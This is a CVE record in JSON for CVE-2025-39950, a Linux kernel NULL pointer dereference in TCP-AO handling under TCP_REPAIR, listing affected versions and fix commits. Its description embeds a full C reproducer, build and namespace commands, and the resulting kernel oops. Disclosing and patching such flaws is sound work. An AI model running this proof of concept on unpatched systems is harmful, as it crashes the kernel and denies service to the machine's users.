{
    "dataType": "CVE_RECORD",
    "dataVersion": "5.2",
    "cveMetadata": {
        "cveId": "CVE-2025-39950",
        "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "state": "PUBLISHED",
        "assignerShortName": "Linux",
        "dateReserved": "2025-04-16T07:20:57.148Z",
        "datePublished": "2025-10-04T07:31:10.926Z",
        "dateUpdated": "2026-05-11T21:39:33.592Z"
    },
    "containers": {
        "cna": {
            "providerMetadata": {
                "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
                "shortName": "Linux",
                "dateUpdated": "2026-05-11T21:39:33.592Z"
            },
            "descriptions": [
                {
                    "lang": "en",
                    "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nnet/tcp: Fix a NULL pointer dereference when using TCP-AO with TCP_REPAIR\n\nA NULL pointer dereference can occur in tcp_ao_finish_connect() during a\nconnect() system call on a socket with a TCP-AO key added and TCP_REPAIR\nenabled.\n\nThe function is called with skb being NULL and attempts to dereference it\non tcp_hdr(skb)->seq without a prior skb validation.\n\nFix this by checking if skb is NULL before dereferencing it.\n\nThe commentary is taken from bpf_skops_established(), which is also called\nin the same flow. Unlike the function being patched,\nbpf_skops_established() validates the skb before dereferencing it.\n\nint main(void){\n\tstruct sockaddr_in sockaddr;\n\tstruct tcp_ao_add tcp_ao;\n\tint sk;\n\tint one = 1;\n\n\tmemset(&sockaddr,'\\0',sizeof(sockaddr));\n\tmemset(&tcp_ao,'\\0',sizeof(tcp_ao));\n\n\tsk = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);\n\n\tsockaddr.sin_family = AF_INET;\n\n\tmemcpy(tcp_ao.alg_name,\"cmac(aes128)\",12);\n\tmemcpy(tcp_ao.key,\"ABCDEFGHABCDEFGH\",16);\n\ttcp_ao.keylen = 16;\n\n\tmemcpy(&tcp_ao.addr,&sockaddr,sizeof(sockaddr));\n\n\tsetsockopt(sk, IPPROTO_TCP, TCP_AO_ADD_KEY, &tcp_ao,\n\tsizeof(tcp_ao));\n\tsetsockopt(sk, IPPROTO_TCP, TCP_REPAIR, &one, sizeof(one));\n\n\tsockaddr.sin_family = AF_INET;\n\tsockaddr.sin_port = htobe16(123);\n\n\tinet_aton(\"127.0.0.1\", &sockaddr.sin_addr);\n\n\tconnect(sk,(struct sockaddr *)&sockaddr,sizeof(sockaddr));\n\nreturn 0;\n}\n\n$ gcc tcp-ao-nullptr.c -o tcp-ao-nullptr -Wall\n$ unshare -Urn\n\nBUG: kernel NULL pointer dereference, address: 00000000000000b6\nPGD 1f648d067 P4D 1f648d067 PUD 1982e8067 PMD 0\nOops: Oops: 0000 [#1] SMP NOPTI\nHardware name: VMware, Inc. VMware Virtual Platform/440BX Desktop\nReference Platform, BIOS 6.00 11/12/2020\nRIP: 0010:tcp_ao_finish_connect (net/ipv4/tcp_ao.c:1182)"
                }
            ],
            "affected": [
                {
                    "product": "Linux",
                    "vendor": "Linux",
                    "defaultStatus": "unaffected",
                    "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
                    "programFiles": [
                        "net/ipv4/tcp_ao.c"
                    ],
                    "versions": [
                        {
                            "version": "7c2ffaf21bd67f73d21560995ce17eaf5fc1d37f",
                            "lessThan": "5f445eb259906b61a518487a790e11d07d31738c",
                            "status": "affected",
                            "versionType": "git"
                        },
                        {
                            "version": "7c2ffaf21bd67f73d21560995ce17eaf5fc1d37f",
                            "lessThan": "993b734d31ab804747ac961b1ee664b023c3b5fa",
                            "status": "affected",
                            "versionType": "git"
                        },
                        {
                            "version": "7c2ffaf21bd67f73d21560995ce17eaf5fc1d37f",
                            "lessThan": "2e7bba08923ebc675b1f0e0e0959e68e53047838",
                            "status": "affected",
                            "versionType": "git"
                        }
                    ]
                },
                {
                    "product": "Linux",
                    "vendor": "Linux",
                    "defaultStatus": "affected",
                    "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
                    "programFiles": [
                        "net/ipv4/tcp_ao.c"
                    ],
                    "versions": [
                        {
                            "version": "6.7",
                            "status": "affected"
                        },
                        {
                            "version": "0",
                            "lessThan": "6.7",
                            "status": "unaffected",
                            "versionType": "semver"
                        },
                        {
                            "version": "6.12.49",
                            "lessThanOrEqual": "6.12.*",
                            "status": "unaffected",
                            "versionType": "semver"
                        },
                        {
                            "version": "6.16.9",
                            "lessThanOrEqual": "6.16.*",
                            "status": "unaffected",
                            "versionType": "semver"
                        },
                        {
                            "version": "6.17",
                            "lessThanOrEqual": "*",
                            "status": "unaffected",
                            "versionType": "original_commit_for_fix"
                        }
                    ]
                }
            ],
            "cpeApplicability": [
                {
                    "nodes": [
                        {
                            "operator": "OR",
                            "negate": false,
                            "cpeMatch": [
                                {
                                    "vulnerable": true,
                                    "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                                    "versionStartIncluding": "6.7",
                                    "versionEndExcluding": "6.12.49"
                                },
                                {
                                    "vulnerable": true,
                                    "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                                    "versionStartIncluding": "6.7",
                                    "versionEndExcluding": "6.16.9"
                                },
                                {
                                    "vulnerable": true,
                                    "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                                    "versionStartIncluding": "6.7",
                                    "versionEndExcluding": "6.17"
                                }
                            ]
                        }
                    ]
                }
            ],
            "references": [
                {
                    "url": "https://git.kernel.org/stable/c/5f445eb259906b61a518487a790e11d07d31738c"
                },
                {
                    "url": "https://git.kernel.org/stable/c/993b734d31ab804747ac961b1ee664b023c3b5fa"
                },
                {
                    "url": "https://git.kernel.org/stable/c/2e7bba08923ebc675b1f0e0e0959e68e53047838"
                }
            ],
            "title": "net/tcp: Fix a NULL pointer dereference when using TCP-AO with TCP_REPAIR",
            "x_generator": {
                "engine": "bippy-1.2.0"
            }
        }
    }
}